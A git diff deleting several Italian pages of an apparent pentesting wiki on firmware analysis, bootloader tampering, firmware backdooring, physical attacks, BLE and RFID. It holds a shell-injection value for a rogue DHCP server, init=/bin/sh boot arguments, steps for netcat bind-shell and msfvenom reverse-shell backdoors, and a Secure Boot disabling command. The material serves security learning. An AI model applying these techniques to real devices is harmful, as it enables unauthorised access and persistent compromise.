-0 0x0 DLOB firmware header, boot partition: """"dev=/dev/mtdblock/1""""
-10380 0x288C LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5213748 bytes
-1704052 0x1A0074 PackImg section delimiter tag, little endian size: 32256 bytes; big endian size: 8257536 bytes
-1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8256900 bytes, 2688 inodes, blocksize: 131072 bytes, created: 2016-07-12 02:28:41
-```
-Esegui il seguente **dd command** per estrarre il filesystem Squashfs.
-```
-$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
-
-8257536+0 records in
-
-8257536+0 records out
-
-8257536 bytes (8.3 MB, 7.9 MiB) copied, 12.5777 s, 657 kB/s
-```
-In alternativa, il seguente comando potrebbe essere eseguito.
-
-`$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs`
-
-- Per squashfs (utilizzato nell'esempio sopra)
-
-`$ unsquashfs dir.squashfs`
-
-I file saranno nella directory "`squashfs-root`" successivamente.
-
-- File di archivio CPIO
-
-`$ cpio -ivd --no-absolute-filenames -F `
-
-- Per filesystem jffs2
-
-`$ jefferson rootfsfile.jffs2`
-
-- Per filesystem ubifs con NAND flash
-
-`$ ubireader_extract_images -u UBI -s  `
-
-`$ ubidump.py `
-
-## Analisi del Firmware
-
-Una volta ottenuto il firmware, è essenziale disegnarlo per comprendere la sua struttura e le potenziali vulnerabilità. Questo processo implica l'utilizzo di vari strumenti per analizzare ed estrarre dati preziosi dall'immagine del firmware.
-
-### Strumenti di Analisi Iniziale
-
-Un insieme di comandi è fornito per l'ispezione iniziale del file binario (denominato ``). Questi comandi aiutano a identificare i tipi di file, estrarre stringhe, analizzare dati binari e comprendere i dettagli delle partizioni e del filesystem:
-```bash
-file 
-strings -n8 
-strings -tx  #prints offsets in hexadecimal
-hexdump -C -n 512  > hexdump.out
-hexdump -C  | head #useful for finding signatures in the header
-fdisk -lu  #lists partitions and filesystems, if there are multiple
-```
-Per valutare lo stato della crittografia dell'immagine, si controlla l'**entropia** con `binwalk -E `. Un'entropia bassa suggerisce una mancanza di crittografia, mentre un'entropia alta indica una possibile crittografia o compressione.
-
-Per estrarre i **file incorporati**, si raccomandano strumenti e risorse come la documentazione di **file-data-carving-recovery-tools** e **binvis.io** per l'ispezione dei file.
-
-### Estrazione del Filesystem
-
-Utilizzando `binwalk -ev `, è possibile solitamente estrarre il filesystem, spesso in una directory chiamata in base al tipo di filesystem (ad esempio, squashfs, ubifs). Tuttavia, quando **binwalk** non riesce a riconoscere il tipo di filesystem a causa di byte magici mancanti, è necessaria un'estrazione manuale. Questo comporta l'uso di `binwalk` per localizzare l'offset del filesystem, seguito dal comando `dd` per estrarre il filesystem:
-```bash
-$ binwalk DIR850L_REVB.bin
-
-$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
-```
-Dopo, a seconda del tipo di filesystem (ad es., squashfs, cpio, jffs2, ubifs), vengono utilizzati comandi diversi per estrarre manualmente i contenuti.
-
-### Analisi del Filesystem
-
-Con il filesystem estratto, inizia la ricerca di vulnerabilità di sicurezza. Si presta attenzione a demoni di rete insicuri, credenziali hardcoded, endpoint API, funzionalità del server di aggiornamento, codice non compilato, script di avvio e binari compilati per analisi offline.
-
-**Posizioni chiave** e **elementi** da ispezionare includono:
-
-- **etc/shadow** e **etc/passwd** per le credenziali degli utenti
-- Certificati e chiavi SSL in **etc/ssl**
-- File di configurazione e script per potenziali vulnerabilità
-- Binari incorporati per ulteriori analisi
-- Server web e binari comuni dei dispositivi IoT
-
-Diverse strumenti aiutano a scoprire informazioni sensibili e vulnerabilità all'interno del filesystem:
-
-- [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) e [**Firmwalker**](https://github.com/craigz28/firmwalker) per la ricerca di informazioni sensibili
-- [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT_core) per un'analisi completa del firmware
-- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go) e [**EMBA**](https://github.com/e-m-b-a/emba) per analisi statiche e dinamiche
-
-### Controlli di Sicurezza sui Binari Compilati
-
-Sia il codice sorgente che i binari compilati trovati nel filesystem devono essere scrutinizzati per vulnerabilità. Strumenti come **checksec.sh** per binari Unix e **PESecurity** per binari Windows aiutano a identificare binari non protetti che potrebbero essere sfruttati.
-
-## Emulazione del Firmware per Analisi Dinamica
-
-Il processo di emulazione del firmware consente un'**analisi dinamica** sia del funzionamento di un dispositivo che di un singolo programma. Questo approccio può incontrare sfide con dipendenze hardware o architetturali, ma trasferire il filesystem root o binari specifici su un dispositivo con architettura e endianness corrispondenti, come un Raspberry Pi, o su una macchina virtuale pre-costruita, può facilitare ulteriori test.
-
-### Emulazione di Singoli Binari
-
-Per esaminare singoli programmi, è cruciale identificare l'endianness e l'architettura CPU del programma.
-
-#### Esempio con Architettura MIPS
-
-Per emulare un binario con architettura MIPS, si può utilizzare il comando:
-```bash
-file ./squashfs-root/bin/busybox
-```
-E per installare gli strumenti di emulazione necessari:
-```bash
-sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils
-```
-Per MIPS (big-endian), si utilizza `qemu-mips`, e per i binari little-endian, `qemu-mipsel` sarebbe la scelta.
-
-#### Emulazione dell'Architettura ARM
-
-Per i binari ARM, il processo è simile, con l'emulatore `qemu-arm` utilizzato per l'emulazione.
-
-### Emulazione Completa del Sistema
-
-Strumenti come [Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit) e altri, facilitano l'emulazione completa del firmware, automatizzando il processo e aiutando nell'analisi dinamica.
-
-## Analisi Dinamica in Pratica
-
-In questa fase, viene utilizzato un ambiente di dispositivo reale o emulato per l'analisi. È essenziale mantenere l'accesso shell al sistema operativo e al filesystem. L'emulazione potrebbe non imitare perfettamente le interazioni hardware, rendendo necessari occasionali riavvii dell'emulazione. L'analisi dovrebbe riesaminare il filesystem, sfruttare le pagine web e i servizi di rete esposti, ed esplorare le vulnerabilità del bootloader. I test di integrità del firmware sono critici per identificare potenziali vulnerabilità backdoor.
-
-## Tecniche di Analisi Runtime
-
-L'analisi runtime comporta l'interazione con un processo o un binario nel suo ambiente operativo, utilizzando strumenti come gdb-multiarch, Frida e Ghidra per impostare breakpoint e identificare vulnerabilità attraverso fuzzing e altre tecniche.
-
-## Sfruttamento Binario e Proof-of-Concept
-
-Sviluppare un PoC per le vulnerabilità identificate richiede una profonda comprensione dell'architettura target e programmazione in linguaggi di basso livello. Le protezioni runtime binarie nei sistemi embedded sono rare, ma quando presenti, tecniche come il Return Oriented Programming (ROP) possono essere necessarie.
-
-## Sistemi Operativi Preparati per l'Analisi del Firmware
-
-Sistemi operativi come [AttifyOS](https://github.com/adi0x90/attifyos) e [EmbedOS](https://github.com/scriptingxss/EmbedOS) forniscono ambienti preconfigurati per il testing della sicurezza del firmware, dotati degli strumenti necessari.
-
-## OS Preparati per Analizzare il Firmware
-
-- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS è una distribuzione destinata ad aiutarti a eseguire valutazioni di sicurezza e penetration testing di dispositivi Internet of Things (IoT). Ti fa risparmiare molto tempo fornendo un ambiente preconfigurato con tutti gli strumenti necessari caricati.
-- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Sistema operativo per il testing della sicurezza embedded basato su Ubuntu 18.04 precaricato con strumenti per il testing della sicurezza del firmware.
-
-## Firmware Vulnerabile per Praticare
-
-Per praticare la scoperta di vulnerabilità nel firmware, utilizza i seguenti progetti di firmware vulnerabili come punto di partenza.
-
-- OWASP IoTGoat
-- [https://github.com/OWASP/IoTGoat](https://github.com/OWASP/IoTGoat)
-- The Damn Vulnerable Router Firmware Project
-- [https://github.com/praetorian-code/DVRF](https://github.com/praetorian-code/DVRF)
-- Damn Vulnerable ARM Router (DVAR)
-- [https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html](https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html)
-- ARM-X
-- [https://github.com/therealsaumil/armx#downloads](https://github.com/therealsaumil/armx#downloads)
-- Azeria Labs VM 2.0
-- [https://azeria-labs.com/lab-vm-2-0/](https://azeria-labs.com/lab-vm-2-0/)
-- Damn Vulnerable IoT Device (DVID)
-- [https://github.com/Vulcainreo/DVID](https://github.com/Vulcainreo/DVID)
-
-## Riferimenti
-
-- [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
-- [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://www.amazon.co.uk/Practical-IoT-Hacking-F-Chantzis/dp/1718500904)
-
-## Formazione e Certificazione
-
-- [https://www.attify-store.com/products/offensive-iot-exploitation](https://www.attify-store.com/products/offensive-iot-exploitation)
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/physical-attacks/firmware-analysis/bootloader-testing.md b/src/physical-attacks/firmware-analysis/bootloader-testing.md
deleted file mode 100644
index cac8fcd27..000000000
--- a/src/physical-attacks/firmware-analysis/bootloader-testing.md
+++ /dev/null
@@ -1,52 +0,0 @@
-{{#include ../../banners/hacktricks-training.md}}
-
-I seguenti passaggi sono raccomandati per modificare le configurazioni di avvio dei dispositivi e i bootloader come U-boot:
-
-1. **Accedi alla Shell dell'Interprete del Bootloader**:
-
-- Durante l'avvio, premi "0", spazio, o altri "codici magici" identificati per accedere alla shell dell'interprete del bootloader.
-
-2. **Modifica gli Argomenti di Avvio**:
-
-- Esegui i seguenti comandi per aggiungere '`init=/bin/sh`' agli argomenti di avvio, consentendo l'esecuzione di un comando shell:
-%%%
-#printenv
-#setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3 mtdparts=sflash: rootfstype= hasEeprom=0 5srst=0 init=/bin/sh
-#saveenv
-#boot
-%%%
-
-3. **Configura il Server TFTP**:
-
-- Configura un server TFTP per caricare immagini su una rete locale:
-%%%
-#setenv ipaddr 192.168.2.2 #IP locale del dispositivo
-#setenv serverip 192.168.2.1 #IP del server TFTP
-#saveenv
-#reset
-#ping 192.168.2.1 #controlla l'accesso alla rete
-#tftp ${loadaddr} uImage-3.6.35 #loadaddr prende l'indirizzo in cui caricare il file e il nome del file dell'immagine sul server TFTP
-%%%
-
-4. **Utilizza `ubootwrite.py`**:
-
-- Usa `ubootwrite.py` per scrivere l'immagine U-boot e inviare un firmware modificato per ottenere accesso root.
-
-5. **Controlla le Funzionalità di Debug**:
-
-- Verifica se le funzionalità di debug come il logging dettagliato, il caricamento di kernel arbitrari o l'avvio da fonti non affidabili sono abilitate.
-
-6. **Interferenza Hardware Cautelativa**:
-
-- Fai attenzione quando colleghi un pin a terra e interagisci con chip SPI o NAND flash durante la sequenza di avvio del dispositivo, in particolare prima che il kernel si decomprima. Consulta il datasheet del chip NAND flash prima di cortocircuitare i pin.
-
-7. **Configura un Server DHCP Maligno**:
-- Configura un server DHCP maligno con parametri dannosi per un dispositivo da acquisire durante un avvio PXE. Utilizza strumenti come il server ausiliario DHCP di Metasploit (MSF). Modifica il parametro 'FILENAME' con comandi di injection come `'a";/bin/sh;#'` per testare la validazione dell'input per le procedure di avvio del dispositivo.
-
-**Nota**: I passaggi che coinvolgono l'interazione fisica con i pin del dispositivo (\*contrassegnati con asterischi) devono essere affrontati con estrema cautela per evitare di danneggiare il dispositivo.
-
-## Riferimenti
-
-- [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/physical-attacks/firmware-analysis/firmware-integrity.md b/src/physical-attacks/firmware-analysis/firmware-integrity.md
deleted file mode 100644
index 08be049c5..000000000
--- a/src/physical-attacks/firmware-analysis/firmware-integrity.md
+++ /dev/null
@@ -1,35 +0,0 @@
-{{#include ../../banners/hacktricks-training.md}}
-
-## Integrità del Firmware
-
-Il **firmware personalizzato e/o i binari compilati possono essere caricati per sfruttare le vulnerabilità di integrità o verifica della firma**. I seguenti passaggi possono essere seguiti per la compilazione di un backdoor bind shell:
-
-1. Il firmware può essere estratto utilizzando firmware-mod-kit (FMK).
-2. L'architettura del firmware target e l'endianness devono essere identificati.
-3. Un cross compiler può essere costruito utilizzando Buildroot o altri metodi adatti per l'ambiente.
-4. Il backdoor può essere costruito utilizzando il cross compiler.
-5. Il backdoor può essere copiato nella directory /usr/bin del firmware estratto.
-6. Il binario QEMU appropriato può essere copiato nel rootfs del firmware estratto.
-7. Il backdoor può essere emulato utilizzando chroot e QEMU.
-8. Il backdoor può essere accessibile tramite netcat.
-9. Il binario QEMU dovrebbe essere rimosso dal rootfs del firmware estratto.
-10. Il firmware modificato può essere ripacchettato utilizzando FMK.
-11. Il firmware con backdoor può essere testato emulandolo con il firmware analysis toolkit (FAT) e collegandosi all'IP e alla porta del backdoor target utilizzando netcat.
-
-Se una shell root è già stata ottenuta tramite analisi dinamica, manipolazione del bootloader o test di sicurezza hardware, binari malevoli precompilati come impianti o reverse shell possono essere eseguiti. Strumenti automatizzati per payload/impianto come il framework Metasploit e 'msfvenom' possono essere utilizzati seguendo i seguenti passaggi:
-
-1. L'architettura del firmware target e l'endianness devono essere identificati.
-2. Msfvenom può essere utilizzato per specificare il payload target, l'IP dell'host attaccante, il numero di porta in ascolto, il tipo di file, l'architettura, la piattaforma e il file di output.
-3. Il payload può essere trasferito al dispositivo compromesso e assicurarsi che abbia i permessi di esecuzione.
-4. Metasploit può essere preparato per gestire le richieste in arrivo avviando msfconsole e configurando le impostazioni secondo il payload.
-5. La reverse shell meterpreter può essere eseguita sul dispositivo compromesso.
-6. Le sessioni meterpreter possono essere monitorate mentre si aprono.
-7. Possono essere eseguite attività di post-exploitation.
-
-Se possibile, le vulnerabilità all'interno degli script di avvio possono essere sfruttate per ottenere accesso persistente a un dispositivo attraverso i riavvii. Queste vulnerabilità sorgono quando gli script di avvio fanno riferimento, [collegano simbolicamente](https://www.chromium.org/chromium-os/chromiumos-design-docs/hardening-against-malicious-stateful-data) o dipendono da codice situato in posizioni montate non attendibili come schede SD e volumi flash utilizzati per memorizzare dati al di fuori dei filesystem root.
-
-## Riferimenti
-
-- Per ulteriori informazioni controlla [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/physical-attacks/physical-attacks.md b/src/physical-attacks/physical-attacks.md
deleted file mode 100644
index eaaa114e2..000000000
--- a/src/physical-attacks/physical-attacks.md
+++ /dev/null
@@ -1,57 +0,0 @@
-# Attacchi Fisici
-
-{{#include ../banners/hacktricks-training.md}}
-
-## Recupero della Password del BIOS e Sicurezza del Sistema
-
-**Ripristinare il BIOS** può essere realizzato in diversi modi. La maggior parte delle schede madri include una **batteria** che, se rimossa per circa **30 minuti**, ripristinerà le impostazioni del BIOS, inclusa la password. In alternativa, un **jumper sulla scheda madre** può essere regolato per ripristinare queste impostazioni collegando pin specifici.
-
-Per situazioni in cui le regolazioni hardware non sono possibili o pratiche, gli **strumenti software** offrono una soluzione. Eseguire un sistema da un **Live CD/USB** con distribuzioni come **Kali Linux** fornisce accesso a strumenti come **_killCmos_** e **_CmosPWD_**, che possono assistere nel recupero della password del BIOS.
-
-Nei casi in cui la password del BIOS è sconosciuta, inserirla in modo errato **tre volte** di solito comporta un codice di errore. Questo codice può essere utilizzato su siti web come [https://bios-pw.org](https://bios-pw.org) per potenzialmente recuperare una password utilizzabile.
-
-### Sicurezza UEFI
-
-Per i sistemi moderni che utilizzano **UEFI** invece del tradizionale BIOS, lo strumento **chipsec** può essere utilizzato per analizzare e modificare le impostazioni UEFI, inclusa la disabilitazione del **Secure Boot**. Questo può essere realizzato con il seguente comando:
-
-`python chipsec_main.py -module exploits.secure.boot.pk`
-
-### Analisi della RAM e Attacchi Cold Boot
-
-La RAM conserva i dati brevemente dopo che l'alimentazione è stata interrotta, di solito per **1-2 minuti**. Questa persistenza può essere estesa a **10 minuti** applicando sostanze fredde, come l'azoto liquido. Durante questo periodo prolungato, è possibile creare un **memory dump** utilizzando strumenti come **dd.exe** e **volatility** per l'analisi.
-
-### Attacchi Direct Memory Access (DMA)
-
-**INCEPTION** è uno strumento progettato per la **manipolazione della memoria fisica** tramite DMA, compatibile con interfacce come **FireWire** e **Thunderbolt**. Consente di bypassare le procedure di accesso patchando la memoria per accettare qualsiasi password. Tuttavia, è inefficace contro i sistemi **Windows 10**.
-
-### Live CD/USB per Accesso al Sistema
-
-Modificare i binari di sistema come **_sethc.exe_** o **_Utilman.exe_** con una copia di **_cmd.exe_** può fornire un prompt dei comandi con privilegi di sistema. Strumenti come **chntpw** possono essere utilizzati per modificare il file **SAM** di un'installazione di Windows, consentendo cambiamenti di password.
-
-**Kon-Boot** è uno strumento che facilita l'accesso ai sistemi Windows senza conoscere la password, modificando temporaneamente il kernel di Windows o UEFI. Maggiori informazioni possono essere trovate su [https://www.raymond.cc](https://www.raymond.cc/blog/login-to-windows-administrator-and-linux-root-account-without-knowing-or-changing-current-password/).
-
-### Gestione delle Funzionalità di Sicurezza di Windows
-
-#### Scorciatoie per Avvio e Ripristino
-
-- **Supr**: Accedi alle impostazioni del BIOS.
-- **F8**: Entra in modalità di ripristino.
-- Premere **Shift** dopo il banner di Windows può bypassare l'autologon.
-
-#### Dispositivi BAD USB
-
-Dispositivi come **Rubber Ducky** e **Teensyduino** fungono da piattaforme per creare dispositivi **bad USB**, capaci di eseguire payload predefiniti quando collegati a un computer target.
-
-#### Volume Shadow Copy
-
-I privilegi di amministratore consentono la creazione di copie di file sensibili, incluso il file **SAM**, tramite PowerShell.
-
-### Bypassare la Crittografia BitLocker
-
-La crittografia BitLocker può potenzialmente essere bypassata se la **password di recupero** viene trovata all'interno di un file di memory dump (**MEMORY.DMP**). Strumenti come **Elcomsoft Forensic Disk Decryptor** o **Passware Kit Forensic** possono essere utilizzati a questo scopo.
-
-### Ingegneria Sociale per Aggiunta della Chiave di Recupero
-
-Una nuova chiave di recupero BitLocker può essere aggiunta attraverso tattiche di ingegneria sociale, convincendo un utente a eseguire un comando che aggiunge una nuova chiave di recupero composta da zeri, semplificando così il processo di decrittazione.
-
-{{#include ../banners/hacktricks-training.md}}
diff --git a/src/post-exploitation.md b/src/post-exploitation.md
deleted file mode 100644
index 58266f049..000000000
--- a/src/post-exploitation.md
+++ /dev/null
@@ -1,16 +0,0 @@
-{{#include ./banners/hacktricks-training.md}}
-
-## **Local l00t**
-
-- [**PEASS-ng**](https://github.com/carlospolop/PEASS-ng): Questi script, oltre a cercare vettori PE, cercheranno informazioni sensibili all'interno del filesystem.
-- [**LaZagne**](https://github.com/AlessandroZ/LaZagne): Il **progetto LaZagne** è un'applicazione open source utilizzata per **recuperare molte password** memorizzate su un computer locale. Ogni software memorizza le proprie password utilizzando tecniche diverse (testo normale, API, algoritmi personalizzati, database, ecc.). Questo strumento è stato sviluppato con l'obiettivo di trovare queste password per il software più comunemente utilizzato.
-
-## **Servizi Esterni**
-
-- [**Conf-Thief**](https://github.com/antman1p/Conf-Thief): Questo modulo si connetterà all'API di Confluence utilizzando un token di accesso, esporterà in PDF e scaricherà i documenti di Confluence a cui il target ha accesso.
-- [**GD-Thief**](https://github.com/antman1p/GD-Thief): Strumento Red Team per esfiltrare file dal Google Drive di un target a cui hai (l'attaccante) accesso, tramite l'API di Google Drive. Questo include tutti i file condivisi, tutti i file da unità condivise e tutti i file da unità di dominio a cui il target ha accesso.
-- [**GDir-Thief**](https://github.com/antman1p/GDir-Thief): Strumento Red Team per esfiltrare il Google People Directory dell'organizzazione target a cui hai accesso, tramite l'API delle Persone di Google.
-- [**SlackPirate**](https://github.com/emtunc/SlackPirate)**:** Questo è uno strumento sviluppato in Python che utilizza le API native di Slack per estrarre informazioni 'interessanti' da uno spazio di lavoro Slack dato un token di accesso.
-- [**Slackhound**](https://github.com/BojackThePillager/Slackhound): Slackhound è uno strumento da riga di comando per team rossi e blu per eseguire rapidamente ricognizioni su uno spazio di lavoro/organizzazione Slack. Slackhound rende la raccolta di utenti, file, messaggi, ecc. di un'organizzazione rapidamente ricercabile e grandi oggetti vengono scritti in CSV per una revisione offline.
-
-{{#include ./banners/hacktricks-training.md}}
diff --git a/src/radio-hacking/README.md b/src/radio-hacking/README.md
deleted file mode 100644
index 6db785956..000000000
--- a/src/radio-hacking/README.md
+++ /dev/null
@@ -1 +0,0 @@
-# Hacking Radio
diff --git a/src/radio-hacking/low-power-wide-area-network.md b/src/radio-hacking/low-power-wide-area-network.md
deleted file mode 100644
index 7cc6e27e4..000000000
--- a/src/radio-hacking/low-power-wide-area-network.md
+++ /dev/null
@@ -1,16 +0,0 @@
-# Rete a Larga Area a Basso Consumo
-
-{{#include ../banners/hacktricks-training.md}}
-
-## Introduzione
-
-**Rete a Larga Area a Basso Consumo** (LPWAN) è un gruppo di tecnologie di rete wireless, a basso consumo, progettate per **comunicazioni a lungo raggio** a bassa velocità di trasmissione.\
-Possono raggiungere più di **sei miglia** e le loro **batterie** possono durare fino a **20 anni**.
-
-Long Range (**LoRa**) è popolare in diversi paesi e ha una specifica open source chiamata **LoRaWAN**.
-
-### LPWAN, LoRa e LoRaWAN
-
-[https://github.com/IOActive/laf](https://github.com/IOActive/laf)
-
-{{#include ../banners/hacktricks-training.md}}
diff --git a/src/radio-hacking/pentesting-ble-bluetooth-low-energy.md b/src/radio-hacking/pentesting-ble-bluetooth-low-energy.md
deleted file mode 100644
index a51c0c9f8..000000000
--- a/src/radio-hacking/pentesting-ble-bluetooth-low-energy.md
+++ /dev/null
@@ -1,65 +0,0 @@
-{{#include ../banners/hacktricks-training.md}}
-
-# Introduzione
-
-Disponibile dalla specifica Bluetooth 4.0, BLE utilizza solo 40 canali, coprendo la gamma da 2400 a 2483,5 MHz. Al contrario, il Bluetooth tradizionale utilizza 79 canali nella stessa gamma.
-
-I dispositivi BLE comunicano inviando **pacchetti pubblicitari** (**beacon**), questi pacchetti trasmettono l'esistenza del dispositivo BLE ad altri dispositivi vicini. Questi beacon a volte **inviando dati**, too.
-
-Il dispositivo in ascolto, chiamato anche dispositivo centrale, può rispondere a un pacchetto pubblicitario con una **richiesta SCAN** inviata specificamente al dispositivo pubblicitario. La **risposta** a quella scansione utilizza la stessa struttura del pacchetto **pubblicitario** con informazioni aggiuntive che non potevano essere incluse nella richiesta pubblicitaria iniziale, come il nome completo del dispositivo.
-
-![](<../images/image (201) (2) (1) (1).png>)
-
-Il byte di preambolo sincronizza la frequenza, mentre l'indirizzo di accesso di quattro byte è un **identificatore di connessione**, utilizzato in scenari in cui più dispositivi stanno cercando di stabilire connessioni sugli stessi canali. Successivamente, l'Unità di Dati di Protocollo (**PDU**) contiene i **dati pubblicitari**. Ci sono diversi tipi di PDU; i più comunemente usati sono ADV_NONCONN_IND e ADV_IND. I dispositivi utilizzano il tipo di PDU **ADV_NONCONN_IND** se **non accettano connessioni**, trasmettendo dati solo nel pacchetto pubblicitario. I dispositivi utilizzano **ADV_IND** se **consentono connessioni** e **smettono di inviare pubblicità** pacchetti una volta che una **connessione** è stata **stabilita**.
-
-## GATT
-
-Il **Profilo di Attributo Generico** (GATT) definisce come il **dispositivo dovrebbe formattare e trasferire i dati**. Quando analizzi la superficie di attacco di un dispositivo BLE, spesso concentrerai la tua attenzione sul GATT (o GATTs), perché è così che **viene attivata la funzionalità del dispositivo** e come i dati vengono memorizzati, raggruppati e modificati. Il GATT elenca le caratteristiche, i descrittori e i servizi di un dispositivo in una tabella come valori a 16 o 32 bit. Una **caratteristica** è un valore **dati** **inviato** tra il dispositivo centrale e il periferico. Queste caratteristiche possono avere **descrittori** che **forniscono informazioni aggiuntive su di esse**. Le **caratteristiche** sono spesso **raggruppate** in **servizi** se sono correlate all'esecuzione di un'azione particolare.
-
-# Enumerazione
-```bash
-hciconfig #Check config, check if UP or DOWN
-# If DOWN try:
-sudo modprobe -c bluetooth
-sudo hciconfig hci0 down && sudo hciconfig hci0 up
-
-# Spoof MAC
-spooftooph -i hci0 -a 11:22:33:44:55:66
-```
-## GATTool
-
-**GATTool** consente di **stabilire** una **connessione** con un altro dispositivo, elencando le **caratteristiche** di quel dispositivo e leggendo e scrivendo i suoi attributi.\
-GATTTool può avviare una shell interattiva con l'opzione `-I`:
-```bash
-gatttool -i hci0 -I
-[ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful
-[A4:CF:12:6C:B3:76][LE]> characteristics
-handle: 0x0002, char properties: 0x20, char value handle:
-0x0003, uuid: 00002a05-0000-1000-8000-00805f9b34fb
-handle: 0x0015, char properties: 0x02, char value handle:
-0x0016, uuid: 00002a00-0000-1000-8000-00805f9b34fb
-[...]
-
-# Write data
-gatttool -i  -b  --char-write-req  -n 
-gatttool -b a4:cf:12:6c:b3:76 --char-write-req -a 0x002e -n $(echo -n "04dc54d9053b4307680a"|xxd -ps)
-
-# Read data
-gatttool -i  -b  --char-read -a 0x16
-
-# Read connecting with an authenticated encrypted connection
-gatttool --sec-level=high -b a4:cf:12:6c:b3:76 --char-read -a 0x002c
-```
-## Bettercap
-```bash
-# Start listening for beacons
-sudo bettercap --eval "ble.recon on"
-# Wait some time
->> ble.show # Show discovered devices
->> ble.enum  # This will show the service, characteristics and properties supported
-
-# Write data in a characteristic
->> ble.write   
->> ble.write  ff06 68656c6c6f # Write "hello" in ff06
-```
-{{#include ../banners/hacktricks-training.md}}
diff --git a/src/radio-hacking/pentesting-rfid.md b/src/radio-hacking/pentesting-rfid.md
deleted file mode 100644
index f983a39c1..000000000
--- a/src/radio-hacking/pentesting-rfid.md
+++ /dev/null
@@ -1,99 +0,0 @@
-# Pentesting RFID
-
-{{#include ../banners/hacktricks-training.md}}
-
-## Introduzione
-
-**Radio Frequency Identification (RFID)** è la soluzione radio a corto raggio più popolare. Viene solitamente utilizzata per memorizzare e trasmettere informazioni che identificano un'entità.
-
-Un tag RFID può fare affidamento su **una propria fonte di alimentazione (attivo)**, come una batteria incorporata, o ricevere la sua energia dall'antenna di lettura utilizzando la corrente **indotta dalle onde radio ricevute** (**passivo**).
-
-### Classi
-
-EPCglobal suddivide i tag RFID in sei categorie. Un tag in ciascuna categoria ha tutte le capacità elencate nella categoria precedente, rendendolo retrocompatibile.
-
-- I tag di **Classe 0** sono tag **passivi** che operano nelle bande **UHF**. Il fornitore **li preprogramma** nella fabbrica di produzione. Di conseguenza, **non puoi cambiare** le informazioni memorizzate nella loro memoria.
-- I tag di **Classe 1** possono operare anche nelle bande **HF**. Inoltre, possono essere **scritti solo una volta** dopo la produzione. Molti tag di Classe 1 possono anche elaborare **controlli di ridondanza ciclica** (CRC) dei comandi che ricevono. I CRC sono alcuni byte extra alla fine dei comandi per la rilevazione degli errori.
-- I tag di **Classe 2** possono essere **scritti più volte**.
-- I tag di **Classe 3** possono contenere **sensori incorporati** che possono registrare parametri ambientali, come la temperatura attuale o il movimento del tag. Questi tag sono **semi-passivi**, perché sebbene **abbiano** una fonte di alimentazione incorporata, come una **batteria** integrata, **non possono iniziare** la **comunicazione** wireless con altri tag o lettori.
-- I tag di **Classe 4** possono iniziare la comunicazione con altri tag della stessa classe, rendendoli **tag attivi**.
-- I tag di **Classe 5** possono fornire **energia ad altri tag e comunicare con tutte le classi di tag precedenti**. I tag di Classe 5 possono fungere da **lettori RFID**.
-
-### Informazioni memorizzate nei tag RFID
-
-La memoria di un tag RFID di solito memorizza quattro tipi di dati: i **dati di identificazione**, che **identificano** l'**entità** a cui è attaccato il tag (questi dati includono campi definiti dall'utente, come conti bancari); i **dati supplementari**, che forniscono **ulteriori** **dettagli** riguardo all'entità; i **dati di controllo**, utilizzati per la **configurazione** interna del tag; e i **dati del produttore** del tag, che contengono un Identificatore Unico del tag (**UID**) e dettagli riguardanti la **produzione**, il **tipo** e il **fornitore** del tag. Troverai i primi due tipi di dati in tutti i tag commerciali; gli ultimi due possono differire in base al fornitore del tag.
-
-Lo standard ISO specifica il valore dell'Identificatore della Famiglia di Applicazione (**AFI**), un codice che indica il **tipo di oggetto** a cui appartiene il tag. Un altro registro importante, anch'esso specificato dall'ISO, è l'Identificatore del Formato di Memorizzazione dei Dati (**DSFID**), che definisce la **organizzazione logica dei dati utente**.
-
-La maggior parte dei **controlli di sicurezza RFID** ha meccanismi che **limitano** le operazioni di **lettura** o **scrittura** su ciascun blocco di memoria utente e sui registri speciali contenenti i valori AFI e DSFID. Questi **meccanismi di blocco** utilizzano dati memorizzati nella memoria di controllo e hanno **password predefinite** preconfigurate dal fornitore, ma consentono ai proprietari del tag di **configurare password personalizzate**.
-
-### Confronto tra tag a bassa e alta frequenza
-
-

-
-## Tag RFID a Bassa Frequenza (125kHz)
-
-I **tag a bassa frequenza** sono spesso utilizzati in sistemi che **non richiedono alta sicurezza**: accesso agli edifici, chiavi per citofoni, carte di iscrizione in palestra, ecc. A causa della loro maggiore portata, sono comodi da usare per il parcheggio a pagamento: il conducente non deve avvicinare la carta al lettore, poiché viene attivata da una distanza maggiore. Allo stesso tempo, i tag a bassa frequenza sono molto primitivi, hanno una bassa velocità di trasferimento dati. Per questo motivo, è impossibile implementare un complesso trasferimento dati bidirezionale per cose come il mantenimento del saldo e la crittografia. I tag a bassa frequenza trasmettono solo il loro breve ID senza alcun mezzo di autenticazione.
-
